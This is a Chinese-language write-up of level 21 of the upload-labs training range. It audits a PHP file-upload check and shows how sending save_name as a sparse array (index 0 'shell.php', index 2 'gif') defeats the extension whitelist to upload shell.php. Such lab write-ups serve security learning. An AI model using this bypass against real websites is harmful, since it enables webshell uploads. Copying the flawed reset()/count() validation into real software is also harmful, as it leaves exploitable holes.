upload-labs第21关审计1
第二十一关的参考代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功！";$is_upload = true;} else {$msg = "文件上传失败！";}}}
}else{$msg = "请选择要上传的文件！";
}
第一步 分析if...else..分支
在第11行代码处，我们看到他做了一个判断，用is_array()函数判断了post请求传进来的参数是不是一个数组。
由此，我们就思考：post请求能不能穿数组的类型参数呢
写一段简单的php代码测试一下
<?php
$file_name = $_POST['name'];
echo $file_name;
// var_dump($file_name)
?>
正常情况下的请求
下面我们来看看输入的post参数是数组会怎么样呢？
把代码写成
<?php
$file_name = $_POST['name'];
// echo $file_name;
var_dump($file_name)
?>
结果：
由此我们知道了post请求体是可以传数组
第二步 发现漏洞
我们去下面的判断找寻可能的漏洞
$ext = end($file); // 取数组最后一个
$allow_suffix = array('jpg','png','gif'); // 类型的白名单数组
if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";
}
这段代码判断的是数组最后一个是不是在array('jpg','png','gif')这个数组中。
思考：
我们是不是可以在传参数的时候数组前面的是shell.php，而让最后一个是jpg,png,gif其中的一个实现绕过呢
再来看else的分支
$file_name = reset($file) . '.' . $file[count($file) - 1];
第一句就暴露了漏洞所在他用到的是reset()函数，取到的是数组第一个值。后面的count()是计算数组长度的，长度-1理论上应该与end()函数的值相同，但真的如此吗？
我们测试一下
<?php
$array_name = array();
$array_name[0]='zhangsan';
$array_name[2]='lisi';
echo reset($array_name).'<br>',end($array_name).'<br>',$array_name[count($array_name)-1] ;?>
结果：
可见长度-1的参数竟然是undefined
第三步 构造payload
启动burpsuite截取上传文件时流量
发送到repeater模块修改参数
最后访问 upload/shell.php.文件
完成！！！
总结
payload为
$save_name=array();
$save_name[0]='shell.php';
$save_name[2]='gif';
这样的一个数组
在拼接的时候
$file_name = reset($file) . '.' . $file[count($file) - 1];
// reset($file)是数组第一个值 shell.php
// $file[count($file) - 1]是undefined 为空值
这样我们的文件名 拼接出来就是shell.php.
